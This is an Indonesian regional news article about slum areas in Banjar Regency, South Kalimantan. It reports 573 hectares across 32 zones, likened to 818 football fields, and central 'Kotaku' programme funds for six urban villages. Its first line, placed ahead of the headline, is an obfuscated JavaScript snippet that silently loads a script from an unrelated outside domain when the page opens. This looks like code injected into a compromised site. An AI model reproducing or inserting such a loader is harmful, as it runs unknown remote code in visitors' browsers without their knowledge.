(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Duh, Kawasan Kumuh di Banjar Ternyata Seluas 818 Lapangan Bola!


MARTAPURA, Kabupaten Banjar yang saat ini dipimpin Bupati H Khalilurrahman masih harus bekerja keras merealisasi program pemerintah yang digadang Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) 100-0-100. Program tersebut yakni beruapa 100 persen akses air minum aman, 0 persen kawasan kumuh, dan 100 persen akses sanitasi.

Utamanya 0 persen permukiman kumuh, karena sampai saat ini puluhan kawasan permukiman masuk kategori kumuh. Dilihat dari Surat Keputusan (SK) Bupati Banjar Nomor 189/2013, terdapat 32 kawasan permukiman masuk kategori kumuh dengan total luas kawasan kumuh mencapai 573 hektare.

Jika dianalogikan, luasan 573 hektare tersebut setara lebih 800 lapangan sepakbola. Perhitungannya, 1 hektare = 10.000 m2, sedangkan luas lapangan sepakbola adalah 105 m x 68 m = 7.140 m2 atau sekitar 0,7 hektare. Jadi, dibandingkan luasan 573 hekater tersebut bisa setara dengan 818 lapangan sepakbola.

Dari 32 kawasan permukiman kumuh itu, 8 di antaranya kategori kumuh berat, 9 kumuh sedang, sisanya kumuh ringan. Delapan kawasan permukiman kumuh kategori berat itu; Kelurahan Jawa, Kertak Hanyar I, Kertak Hanyar II, Sungai Tabuk Kota, Bawahan  Pasar, Sungai Alat, Astambul Kota, dan Aluh Aluh Besar.

Tentang luasan kawasan kumuh pada SK tersebut, Rizqon, Kepala Seksi (Kasi) Penataan Banganunan dan Pengembangan Permukiman pada Bidang Ciptakarya Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) mengatakan, saat ini sedang dilakukan proses revisi.

Karena menurutnya, sejak diundangkan hingga sekarang, tentunya telah ada perubahan. Terlebih lagi, merealisasi 0 persen permukiman kumuh dikerjakan keroyokan oleh pemerintah kabupaten, provinsi dan pemerintah pusat.

“Salah satunya program Kota Tanpa Kumuh atau biasa disebut ‘Kotaku’ yang anggarannya dari pemerintah pusat pada tahun 2017 ini,” kata Rizqon, Kamis (5/10).

Disampaikannya, ada enam kelurahan di Kabupaten Banjar penerima bantuan dana dalam program ‘Kotaku’ dengan nilai sebesar Rp 500 juta per kelurahan. Keenam kelurahan itu; Kelurahan Jawa, Tanjung Rema Darat, Tanjung Rema, Murung Keraton, Pesayangan, dan Murung Kenanga.

Sesuai ketentuan, ujar Rizqon, gelontoran dana program ‘Kotaku’ boleh digunakan untuk mengerjakan tujuh jenis pekerjaan sesuai kriteria untuk kawasan kumuh. Yakni; pembangunan jalan lingkungan, drainase, air minum, pengelolaan limbah, persampahan, pemadamkebakaran, dan ruang terbuka hijau.***


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.